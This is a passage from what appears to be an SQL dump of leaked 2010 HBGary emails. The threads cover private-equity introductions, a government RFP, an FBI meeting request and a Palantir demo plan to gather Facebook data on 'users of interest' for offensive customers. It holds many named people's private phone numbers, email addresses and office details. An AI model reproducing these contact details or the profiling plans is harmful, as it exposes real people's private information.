talking\r\n&gt;&gt; with you.\r\n&gt;&gt;\r\n&gt;&gt; Aaron\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; On Sep 3, 2010, at 9:39 AM, David Gertler wrote:\r\n&gt;&gt;\r\n&gt;&gt;&gt; Aaron\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; It was good talking with you the other day. As i mentioned, I\r\nwould like\r\n&gt;&gt;&gt; to introduce you to TJ Gupta and his private equity group.\r\n TJ is actively\r\n&gt;&gt;&gt; looking for good companies that need some expansion capital and\r\nyou\r\n&gt;&gt;&gt; clearly fit within his target thesis.\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; Send him your phone number and I&#39;m sure he call you\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; PS. This is my personal email address; feel free to send me a note\r\nin a\r\n&gt;&gt;&gt; week or two and we&#39;ll grab a Starbucks.\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; David Gertler\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; Sent from my iPad\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;\r\n&gt;\r\n&gt; --\r\n&gt; Tj Gupta\r\n&gt; Managing Partner\r\n&gt; Riveria Investment Group\r\n&gt; 145 East 57th Street, 11th Floor\r\n&gt; New York, NY 10022\r\n&gt; Office: +1 917 421 9971\r\n&gt; Direct: +1 212 994 4117\r\n&gt; Mobile: +1 703 615 3291\r\n&gt; Fax: +1 646 537 2655\r\n&gt; www.riveriagroup.com\r\n&gt;\r\n&gt; Disclaimer:\r\n&gt; The information contained in this electronic message and in any\r\nattachments\r\n&gt; to this message is confidential, legally privileged and intended only for\r\n&gt; the person or entity to which this electronic message is addressed. If you\r\n&gt; are not the intended recipient, please notify the system manager and you\r\nare\r\n&gt; hereby notified that any distribution, copying, review, retransmission,\r\n&gt; dissemination or other use of this electronic transmission or the\r\n&gt; information contained in it is strictly prohibited. Please accordingly\r\nalso\r\n&gt; note that any views or opinions presented in this email are solely those\r\nof\r\n&gt; the author and may not represent those of the Company or bind the Company.\r\n&gt; This message has been scanned for viruses and dangerous content by Mail\r\n&gt; Scanner, and is believed to be clean. The Company accepts no liability for\r\n&gt; any damage caused by any virus transmitted by this email.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nNicholas J. Safford\r\nAssociate\r\nRiveria Investment Group\r\n145 East 57th Street, 11th Floor\r\nNew York, NY 10022\r\nOffice: +1 917 421 9971\r\nMobile: +1 703 819 2629\r\nFax: +1 646 537 2655\r\nwww.riveriagroup.com\r\n\r\nDisclaimer:\r\n\r\n\r\n\r\nThe information contained in this electronic message and in\r\nany attachments to this message is confidential, legally privileged and\r\nintended only for the person or entity to which this electronic message is\r\naddressed. If you are not the intended recipient, please notify the system\r\nmanager and you are hereby notified that any distribution, copying, review,\r\nretransmission, dissemination or other use of this electronic transmission or\r\nthe information contained in it is strictly prohibited. Please accordingly also\r\nnote that any views or opinions presented in this email are solely those of the\r\nauthor and may not represent those of the Company or bind the Company. This\r\nmessage has been scanned for viruses and dangerous content by Mail Scanner, and\r\nis believed to be clean. The Company accepts no liability for any damage caused\r\nby any virus transmitted by this email.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Nicholas J. SaffordAssociateRiveria Investment Group145 East 57th Street, 11th FloorNew York, NY 10022Office: +1 917 421 9971Mobile: +1 703 819 2629\r\nFax: +1 646 537 2655www.riveriagroup.comDisclaimer:\r\nThe information contained in this electronic message and in any attachments to this message is confidential, legally privileged and intended only for the person or entity to which this electronic message is addressed. If you are not the intended recipient, please notify the system manager and you are hereby notified that any distribution, copying, review, retransmission, dissemination or other use of this electronic transmission or the information contained in it is strictly prohibited. Please accordingly also note that any views or opinions presented in this email are solely those of the author and may not represent those of the Company or bind the Company. This message has been scanned for viruses and dangerous content by Mail Scanner, and is believed to be clean. The Company accepts no liability for any damage caused by any virus transmitted by this email.\r\n\r\n',7467,'aaron_hbgary_com/7467.html'),(11452,'2010-09-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008649.M197354P14101Q6307.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: COIN/ROMAS RFP','Have u contacted rich hall?  Ted has his personal cell we can try that but only if your not having luck reaching him.  I am going to see johns volleyball team play on saturday and can ask then.\r\nAaronSent from my iPadOn Sep 8, 2010, at 12:21 PM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nWe have not received the RFP yet.  We have called the COIN/ROMAS PMO and have received no answer.  You guys got any other ways of checking on the status?\r\n\r\n\r\nThanks,\r\n\r\n      Chris\r\n__________________________________________________\r\n\r\n  \r\n |Chris Clair | Program Manager | 703.449.3964 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8953,'aaron_hbgary_com/8953.html'),(11453,'2010-09-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008649.M404822P14101Q6308.eml','\"Geary, Christopher A.\" <Christopher.Geary@ic.fbi.gov>','Re: FIRST Conference in Miami','That will be fine.  Would you like me to send out a meeting notice?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Sep 8, 2010, at 10:45 AM, \"Geary, Christopher A.\"\r\n wrote:\r\n\r\n> Aaron,\r\n>\r\n> If possible, this would be for Wednesday (09/15/2010) from 1:30 to 3:30 at your location in TC.  If this doesn\'t work with your schedule, we could reschedule for another day the next week.\r\n>\r\n> Thanks,\r\n>\r\n> Chris\r\n>\r\n>\r\n> SSA Christopher A. Geary\r\n> CERT/CC Liaison\r\n> 3238 CIC\r\n> Pittsburgh, PA 15213\r\n>\r\n> (412) 268-9244\r\n> ________________________________________\r\n> From: Aaron Barr [aaron@hbgary.com]\r\n> Sent: Tuesday, September 07, 2010 9:52 PM\r\n> To: Geary, Christopher A.\r\n> Subject: Re: FIRST Conference in Miami\r\n>\r\n> is this for next Wed? or another day?\r\n> Aaron\r\n>\r\n> On Sep 7, 2010, at 5:01 PM, Geary, Christopher A. wrote:\r\n>\r\n>> Aaron, Tysons would be fine.  I\'m still waiting to hear back from a couple of people.  Does the afternoon work for you, say 1:30 to 3:30?\r\n>>\r\n>> Chris\r\n>>\r\n>> ----- Original Message -----\r\n>> From: Aaron Barr \r\n>> To: Geary, Christopher A.\r\n>> Sent: Tue Sep 07 16:56:42 2010\r\n>> Subject: Re: FIRST Conference in Miami\r\n>>\r\n>> Sure.  I normally use the offices in Tysons Corner but I can check\r\n>> other locations that might be closer to you.\r\n>>\r\n>> Aaron\r\n>>\r\n>> Sent from my iPhone\r\n>>\r\n>> On Sep 7, 2010, at 4:41 PM, \"Geary, Christopher A.\"\r\n>>  wrote:\r\n>>\r\n>>> Aaron,\r\n>>>\r\n>>>\r\n>>> Where would you want to meet? You mentioned your Regus offices, where is that located?  Sorry I am not familiar with D.C.\r\n>>>\r\n>>> Chris\r\n>>>\r\n>>>\r\n>>> SSA Christopher A. Geary\r\n>>> CERT/CC Liaison\r\n>>> 3238 CIC\r\n>>> Pittsburgh, PA 15213\r\n>>>\r\n>>> (412) 268-9244\r\n>>> ________________________________________\r\n>>> From: Aaron Barr [aaron@hbgary.com]\r\n>>> Sent: Tuesday, September 07, 2010 4:31 PM\r\n>>> To: Geary, Christopher A.\r\n>>> Subject: Re: FIRST Conference in Miami\r\n>>>\r\n>>> Chris,\r\n>>>\r\n>>> Sure either week is fine with me.  Let me know what works for you.\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>> On Sep 7, 2010, at 4:24 PM, Geary, Christopher A. wrote:\r\n>>>\r\n>>>> Aaron,\r\n>>>>\r\n>>>> Thank you for the quick response.  I am not sure if Wednesday of next week would be too quick or not?  It would be myself and 1 -3 other Cyber Division people.  If that doesn\'t work, the following week could work out too.\r\n>>>>\r\n>>>> Thanks,\r\n>>>>\r\n>>>> Chris\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> SSA Christopher A. Geary\r\n>>>> CERT/CC Liaison\r\n>>>> 3238 CIC\r\n>>>> Pittsburgh, PA 15213\r\n>>>>\r\n>>>> (412) 268-9244\r\n>>>> ________________________________________\r\n>>>> From: Aaron Barr [aaron@hbgary.com]\r\n>>>> Sent: Tuesday, September 07, 2010 4:06 PM\r\n>>>> To: Geary, Christopher A.\r\n>>>> Subject: Re: FIRST Conference in Miami\r\n>>>>\r\n>>>> Hi Chris,\r\n>>>>\r\n>>>> I would be happy to meet.  I am local to DC, but we don\'t have a local DC office yet, our headquarters is in Sacramento and we have a Lab in Colorado Springs.  But I can get a Regus office for an hour or two and we can go over some of our capabilities and methodologies related to cyber investigations.\r\n>>>>\r\n>>>> I will be on travel Mon and Tues next week.  Let me know your availability.\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>>\r\n>>>> On Sep 7, 2010, at 11:43 AM, Geary, Christopher A. wrote:\r\n>>>>\r\n>>>>> Aaron,\r\n>>>>>\r\n>>>>> Hello, I am SSA Chris Geary of the FBI\'s Cyber Division.  We had spoken briefly at the FIRST Conference in Miami.  I think it was was Martin who introduced us during a discussion of malware fingerprinting.  I am part of a team here in the Cyber Division that looks at new technologies and ways to improve our investigations as it pertains to malware analysis.  I had also read an article recently about how HB Gary can identify malicious code writers through malware analysis.   Do you have a presentation that you could provide us on this?  If possible, we would like to visit your shop in the next week or so, if your schedules permit.  Please advise if this is something that you could provide.\r\n>>>>>\r\n>>>>> Thank You,\r\n>>>>>\r\n>>>>> Chris\r\n>>>>>\r\n>>>>>\r\n>>>>> SSA Christopher A. Geary\r\n>>>>> CERT/CC Liaison\r\n>>>>> 3238 CIC\r\n>>>>> Pittsburgh, PA 15213\r\n>>>>>\r\n>>>>> (412) 268-9244\r\n>>>>\r\n>>>\r\n>\r\n',11506,'aaron_hbgary_com/11506.html'),(11454,'2010-09-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008649.M597923P14101Q6309.eml','\"Penny Leavy\" <penny@hbgary.com>','secDev','Penny,\r\n\r\nSecDev is wanting to buy a copy of responder pro.  They have an\r\ninvestigation coming up with a large US telco and would like to use\r\nand promote responder and HBGary.  Can we cut them a deal?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',14735,'aaron_hbgary_com/14735.html'),(11455,'2010-09-08','tjriesen@archimedesglobal.com','/aaron@hbgary.com/new/1297008649.M827970P14101Q6310.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Christopher Clair\" <christopher.clair@tasc.com>','Re: COIN/ROMAS RFP','I have Rich\'s desk number, cell and personal email.  However, when I asked him about this before, he said COIN was an old market survey and he didn\'t know anything current.  If you\'re certain he has knowledge of the RFP, I can put in a call.  From:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, 8 Sep 2010 12:58:21 -0400To: Clair, Chris (TASC)&lt;CHRISTOPHER.CLAIR@tasc.com&gt;Cc: Tim Riesen&lt;tjriesen@archimedesglobal.com&gt;Subject: Re: COIN/ROMAS RFPHave u contacted rich hall?  Ted has his personal cell we can try that but only if your not having luck reaching him.  I am going to see johns volleyball team play on saturday and can ask then.\r\nAaronSent from my iPadOn Sep 8, 2010, at 12:21 PM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nWe have not received the RFP yet.  We have called the COIN/ROMAS PMO and have received no answer.  You guys got any other ways of checking on the status?\r\n\r\n\r\nThanks,\r\n\r\n      Chris\r\n__________________________________________________\r\n\r\n  \r\n |Chris Clair | Program Manager | 703.449.3964 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10274,'aaron_hbgary_com/10274.html'),(11456,'2010-09-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008650.M39638P14101Q6311.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Phishing attacks target users of Facebook, other social networks','Phishing attacks target users of Facebook, other social networksCybercriminals are dumping the traditional email phishing campaigns for social networks, where it&#39;s easier to social engineer attacks and gain trust of users.\r\n\r\n\r\n  \r\n  \r\n  \r\n  \r\n\r\n\r\n\r\n\r\n \r\nphish - Facebook - Social network - Theft - Crime\r\nSent from my iPad\r\n',5163,'aaron_hbgary_com/5163.html'),(11457,'2010-09-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008650.M598054P14101Q6312.eml','tjriesen@archimedesglobal.com,tjriesen@archimedesglobal.com','Re: COIN/ROMAS RFP','I am not certain.  They may have gone a different route when the switched focus.Sent from my iPhoneOn Sep 8, 2010, at 1:12 PM, tjriesen@archimedesglobal.com wrote:\r\nI have Rich&#39;s desk number, cell and personal email.  However, when I asked him about this before, he said COIN was an old market survey and he didn&#39;t know anything current.  If you&#39;re certain he has knowledge of the RFP, I can put in a call.  \r\nFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, 8 Sep 2010 12:58:21 -0400To: Clair, Chris (TASC)&lt;CHRISTOPHER.CLAIR@tasc.com&gt;Cc: Tim Riesen&lt;tjriesen@archimedesglobal.com&gt;\r\nSubject: Re: COIN/ROMAS RFPHave u contacted rich hall?  Ted has his personal cell we can try that but only if your not having luck reaching him.  I am going to see johns volleyball team play on saturday and can ask then.\r\n\r\nAaronSent from my iPadOn Sep 8, 2010, at 12:21 PM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nWe have not received the RFP yet.  We have called the COIN/ROMAS PMO and have received no answer.  You guys got any other ways of checking on the status?\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n      Chris\r\n__________________________________________________\r\n\r\n\r\n  \r\n |Chris Clair | Program Manager | 703.449.3964 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14373,'aaron_hbgary_com/14373.html'),(11458,'2010-09-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008650.M816631P14101Q6313.eml','\"Aaron Barr\" <adbarr@mac.com>','Analysis: The Perils of the Internet','Analysis: The Perils of the InternetHow does a computer get infected if you’re just surfing the Internet? And how do cybercriminals make money from tricking users? This article aims to answer these questions.\r\nSent from my iPad\r\n',5671,'aaron_hbgary_com/5671.html'),(11459,'2010-09-08','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008651.M266279P14101Q6315.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','RE: SSC PAC Cyber Warfare (Pre-award Status & Contract Planning Meeting)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nBob,\r\n\r\n&nbsp;\r\n\r\nI would give them a call and figure out what their expectations\r\nare first.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Wednesday, September 08, 2010 7:20 AM\r\nTo: \'Penny Leavy-Hoglund\'; \'Ted Vera\'; \'Barr Aaron\'\r\nSubject: FW: SSC PAC Cyber Warfare (Pre-award Status &amp; Contract\r\nPlanning Meeting)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny, Aaron and Ted,\r\n\r\n&nbsp;\r\n\r\nAbout a year ago HBGary participated on the GD-AIS team for this\r\nSPAWAR opportunity.&nbsp; It has both offensive and defensive elements.&nbsp;\r\nThey think the award announcement will happen in October and they think they\r\nwill be selected (there may be multiple awards).&nbsp; HBGary is a tier-1\r\npartner, so there could be significant participation for us.&nbsp; They have\r\ninvited us to a pre-award planning meeting in San Diego 9/30-10/1.&nbsp; When I\r\nsent an email asking why they would hold this meeting before being selected for\r\naward, I got the following reply:\r\n\r\n&nbsp;\r\n\r\n&#8220;This meeting is prep for our expected award. As this is an IDIQ,\r\nwe are working with the team to align work and help to shape TTOs that we will\r\nbid as a team. The award announcement is currently expected in October.&#8221;\r\n\r\n&nbsp;\r\n\r\nDo we want to send anybody to this meeting?&nbsp; I haven&#8217;t\r\nspoken with them about involving HBGary Federal yet.\r\n\r\n&nbsp;\r\n\r\nAttached is a powerpoint about the meeting and a capabilities\r\nmatrix I had sent them.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Holtmann, Vincent\r\nA. [mailto:Vincent.Holtmann@gd-ais.com] \r\nSent: Tuesday, September 07, 2010 10:23 PM\r\nTo: Ebber@avi.com; Kevin Estrem; Murphy, Marc (US - Charlotte); Smith,\r\nTimothy-P65114 (EXT) (GDC4S); Long, John P; carl.houghton@issinc.com; Beck,\r\nBob; Autry, Tim; Dan Roberts; Elijah Sutton; Mike Smith; Adam Stotz; Dave\r\nAtherton; robert_labella@minervaengineering.com; jmathis@ndti.net;\r\nsbodmer@savidcorp.com; Lynn Lehman; Lee Krause; wbrew@simulexinc.com; Alok\r\nChaturvedi; mgotte@wareonearth.com; Roger Webb; james.mulvenon@defensegp.com;\r\n\'Bob Slapnik\'; Jeffrey Carr; Jondi_Bernardo@McAfee.com; Mike Sulek; sleanheart@telcordia.com;\r\nrichard.tillery@vissllc.com; gproctor@atcorp-dc.com; jim.burton@cataphora.com;\r\nJeffrey Morgan; Jacobson, Ron; Dietz, James Eric; tgrabowski@netezza.com; Wendy\r\nYee\r\nCc: Valdez, George G.; Rabideau, Tim J.; Carron, Brian E.; Martin,\r\nRobert Z.; Jaeger, James A.\r\nSubject: SSC PAC Cyber Warfare (Pre-award Status &amp; Contract Planning\r\nMeeting)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAll,&nbsp;\r\nPlease review the attached slide deck for our SSC PAC Cyber Warfare meeting\r\ndetails.&nbsp; We understand that not everyone will be able to attend, but wanted\r\nto ensure that all exclusive team members are invited. For those unable to\r\nattend, meeting notes will be taken and distributed to the team.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nActions\r\n\r\n\r\n\r\n\r\n Select\r\n     Yes or No for your attend so we can get a head count\r\n Let\r\n     me know if you have any questions\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLook\r\nforward to all that can make the trip!\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nVince\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nVincent\r\nA. Holtmann\r\n\r\nGeneral\r\nDynamics Advanced Information Systems \r\n3133\r\nGeneral Hudnell, Ste. 300\r\n\r\nSan\r\nAntonio, TX 78226\r\nOffice (210) 932-5522\r\nMobile (210) 792-8088 \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3112 - Release Date: 09/07/10\r\n14:43:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1284,'aaron_hbgary_com/1284.html'),(11460,'2010-09-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008651.M470324P14101Q6316.eml','\"Penny Leavy\" <penny@hbgary.com>','Razors edge','Good conversation with Jack today.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',3307,'aaron_hbgary_com/3307.html'),(11461,'2010-09-08','tjriesen@archimedesglobal.com','/aaron@hbgary.com/new/1297008651.M47122P14101Q6314.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: COIN/ROMAS RFP','Ok - tried to reach him.  No luck.    From:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, 8 Sep 2010 13:22:15 -0400To: tjriesen@archimedesglobal.com&lt;tjriesen@archimedesglobal.com&gt;Cc: Christopher Clair&lt;christopher.clair@tasc.com&gt;Subject: Re: COIN/ROMAS RFPI am not certain.  They may have gone a different route when the switched focus.Sent from my iPhoneOn Sep 8, 2010, at 1:12 PM, tjriesen@archimedesglobal.com wrote:\r\nI have Rich&#39;s desk number, cell and personal email.  However, when I asked him about this before, he said COIN was an old market survey and he didn&#39;t know anything current.  If you&#39;re certain he has knowledge of the RFP, I can put in a call.  \r\nFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, 8 Sep 2010 12:58:21 -0400To: Clair, Chris (TASC)&lt;CHRISTOPHER.CLAIR@tasc.com&gt;Cc: Tim Riesen&lt;tjriesen@archimedesglobal.com&gt;\r\nSubject: Re: COIN/ROMAS RFPHave u contacted rich hall?  Ted has his personal cell we can try that but only if your not having luck reaching him.  I am going to see johns volleyball team play on saturday and can ask then.\r\n\r\nAaronSent from my iPadOn Sep 8, 2010, at 12:21 PM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nWe have not received the RFP yet.  We have called the COIN/ROMAS PMO and have received no answer.  You guys got any other ways of checking on the status?\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n      Chris\r\n__________________________________________________\r\n\r\n\r\n  \r\n |Chris Clair | Program Manager | 703.449.3964 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2488,'aaron_hbgary_com/2488.html'),(11462,'2010-09-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008651.M679790P14101Q6317.eml','\"Aaron Zollman\" <azollman@palantir.com>','Re: Another Killer Demo','Can u do a call today?\r\n\r\nSent from my iPad\r\n\r\nOn Sep 7, 2010, at 12:11 PM, Aaron Zollman  wrote:\r\n\r\n>\r\n> Aaron --\r\n>\r\n> I wanted to give you a quick update on where we stand on both the social\r\n> network data and the malware exploration.\r\n>\r\n> I\'ve located the source data for our old facebook demo, but it\'s over a year\r\n> old -- before both the cyber ontology and facebook\'s change to their API\'s\r\n> so that things like \"favorite movies\" weren\'t part of the profile anymore.\r\n> Given that, when you\'re ready to start integrating social network data for\r\n> your training and exploration, it\'s not likely to be of assistance.\r\n>\r\n>\r\n> For malware data, we\'re ready to start analyzing as soon as you can provide\r\n> it.\r\n>\r\n> We\'re on a tight schedule -- the GovCon abstracts need to go to the printer\r\n> by next Thursday, September 16th -- so although we don\'t need to have the\r\n> analysis completed by then, we need to be absolutely certain that we\'ll have\r\n> something to demo by conference day.\r\n>\r\n> Even a small sample of the XML output (or whatever else you think is worth\r\n> integrating) will help us get started on the data integration piece. If I\r\n> should be working directly with Ted to get the samples, please let me know.\r\n>\r\n> Thanks,\r\n>\r\n> _________________________________________________________\r\n> Aaron Zollman\r\n> Palantir Technologies | Embedded Analyst\r\n> azollman@palantir.com | 202-684-8066\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, September 02, 2010 9:59 AM\r\n> To: Aaron Zollman\r\n> Subject: Re: Another Killer Demo\r\n>\r\n> Great.  I have a meeting from 1230-2 close to your office so can just head\r\n> there afterwards, be there around 230.\r\n>\r\n> Aaron\r\n>\r\n> On Sep 1, 2010, at 4:07 PM, Aaron Zollman wrote:\r\n>\r\n>> Maryland until about 1pm, then headed back south to McLean. The Palantir\r\n>> office in Tysons works for me as a meeting point, too.\r\n>>\r\n>> _________________________________________________________\r\n>> Aaron Zollman\r\n>> Palantir Technologies | Embedded Analyst\r\n>> azollman@palantir.com | 202-684-8066\r\n>>\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, September 01, 2010 10:58 AM\r\n>> To: Aaron Zollman\r\n>> Subject: Re: Another Killer Demo\r\n>>\r\n>> I am going to be in Mclean most of the day.  Where are you going to be\r\n>> tomorrow.\r\n>>\r\n>> Aaron\r\n>>\r\n>>\r\n>> On Aug 31, 2010, at 5:04 PM, Aaron Zollman wrote:\r\n>>\r\n>>>\r\n>>> Sounds good. Pick a time 2pm ET or later. Dropping by Bethesda would be\r\n> on\r\n>>> the way Thursday, too.\r\n>>>\r\n>>>\r\n>>> _________________________________________________________\r\n>>> Aaron Zollman\r\n>>> Palantir Technologies | Embedded Analyst\r\n>>> azollman@palantir.com | 202-684-8066\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Monday, August 30, 2010 10:38 PM\r\n>>> To: Aaron Zollman\r\n>>> Cc: Matthew Steckman; Ted Vera; Mark Trynor\r\n>>> Subject: Re: Another Killer Demo\r\n>>>\r\n>>> I get it on the breakout sessions.  We would like to pursue the path to\r\n>>> breakout with fingerprint data.  That hasn\'t changed.\r\n>>>\r\n>>> So here is the dynamic I am working with right now.\r\n>>>\r\n>>> We have separate customers interested in our ability to do volume malware\r\n>>> processing and threat intelligence (this is TMC, Fingerprint, and\r\n>>> Palanatir).\r\n>>>\r\n>>> We have other customers, mostly on offense, that are interested in Social\r\n>>> Media for other things.\r\n>>>\r\n>>> In the end both of these capabilities come together to build real threat\r\n>>> intelligence marrying up malware data with social media data, just baby\r\n>>> steps.\r\n>>>\r\n>>> The social media stuff seems like low hanging fruit, so lets have a phone\r\n>>> conversation on that on Thursday to discuss what are the next steps and\r\n>>> when.\r\n>>>\r\n>>> On the threat intelligence side we have some prep work to do.  Greg told\r\n>> me\r\n>>> that the data that he has is basically not available.  Something about\r\n>>> giving the TMC to HBGary Fed and dropping that because it was taking to\r\n>> many\r\n>>> development resources and they need to focus.  What does that mean, not a\r\n>>> huge deal, but we need to rerun our malware through the TMC and then\r\n>> through\r\n>>> fingerprint and then take that data into Palantir.  Right now we are\r\n>> running\r\n>>> at max speed the rest of the week to get our Pentest report done and out\r\n>> to\r\n>>> the customer by Thursday.  So on Monday next week we can regroup with\r\n> Mark\r\n>> I\r\n>>> think and talk about how to get the threat intel stuff going.  We have a\r\n>>> meeting with US-CERT on the 9th and it would be good to be able to tell\r\n>> them\r\n>>> a little more than what we have right now, meaning we have a plan to\r\n>>> execute.  The stick here is in our hands.  I will reread your last email,\r\n>>> head is flooded, and we can readdress this on Thursday as well.\r\n>>>\r\n>>> Sound ok?  Good thing is potential customers definitely interested.\r\n>>>\r\n>>> Lets do a webex on Thursday instead I can show you a few things I am\r\n>> working\r\n>>> on.  I will set it up.\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>>\r\n>>> On Aug 30, 2010, at 9:18 PM, Aaron Zollman wrote:\r\n>>>\r\n>>>>\r\n>>>> 	For the two breakout spaces, we\'re looking for an integration that\r\n>>>> focuses more on technical data. While I\'d like to talk through this\r\n>>> proposed\r\n>>>> workflow some more -- and it\'s certainly appropriate for the demo\r\n> station\r\n>>>> you guys will have at GovCon -- it may not be right for the breakout\r\n>>>> sessions where Steckman and I have to focus our development energy. But\r\n>>>> let\'s walk down the path a little further before we decide anything:\r\n>>>>\r\n>>>> 	Is the idea that we\'d want to ingest all of Facebook\'s data, or just\r\n>>>> a targeted subset for a few users of interest; possibly using helpers to\r\n>>>> reach out to the API\'s?\r\n>>>>\r\n>>>> 	Pete Warden (petesearch.blogspot.com) ran into some issues with\r\n>>>> their AUP, resulting in a lawsuit, when he crawled most of Facebook\'s\r\n>>> social\r\n>>>> graph to build some statistics. I\'d be worried about doing the same.\r\n> (I\'d\r\n>>>> ask him for his Facebook data -- he\'s a fan of Palantir -- but he\'s\r\n>>> already\r\n>>>> deleted it.)\r\n>>>>\r\n>>>> 	Aaron B, I\'m available most of tomorrow and Thursday afternoon if\r\n>>>> you want to build out the workflow a little. The new cyber ontology has\r\n>> an\r\n>>>> \"online account\" type set up by default; we can start by preparing a\r\n>>>> Facebook Account subtype and build outward from there.\r\n>>>>\r\n>>>> 	Phone call good enough, or should we set up shop somewhere with data\r\n>>>> and laptops?\r\n>>>>\r\n>>>>\r\n>>>> _________________________________________________________\r\n>>>> Aaron Zollman\r\n>>>> Palantir Technologies | Embedded Analyst\r\n>>>> azollman@palantir.com | 202-684-8066\r\n>>>>\r\n>>>>\r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>> Sent: Monday, August 30, 2010 8:54 AM\r\n>>>> To: Aaron Zollman\r\n>>>> Cc: Matthew Steckman; Ted Vera; Mark Trynor\r\n>>>> Subject: Re: Another Killer Demo\r\n>>>>\r\n>>>> I think you would be demonstrating something completely new from a\r\n>>> security\r\n>>>> standpoint.  Twitter requires no authentication.  Follow anyone you\r\n> want.\r\n>>>> Facebook requires an acknowledgement to be included.  Peoples Facebook\r\n>>>> friends lists are much closer to representing someones actual social\r\n>>> 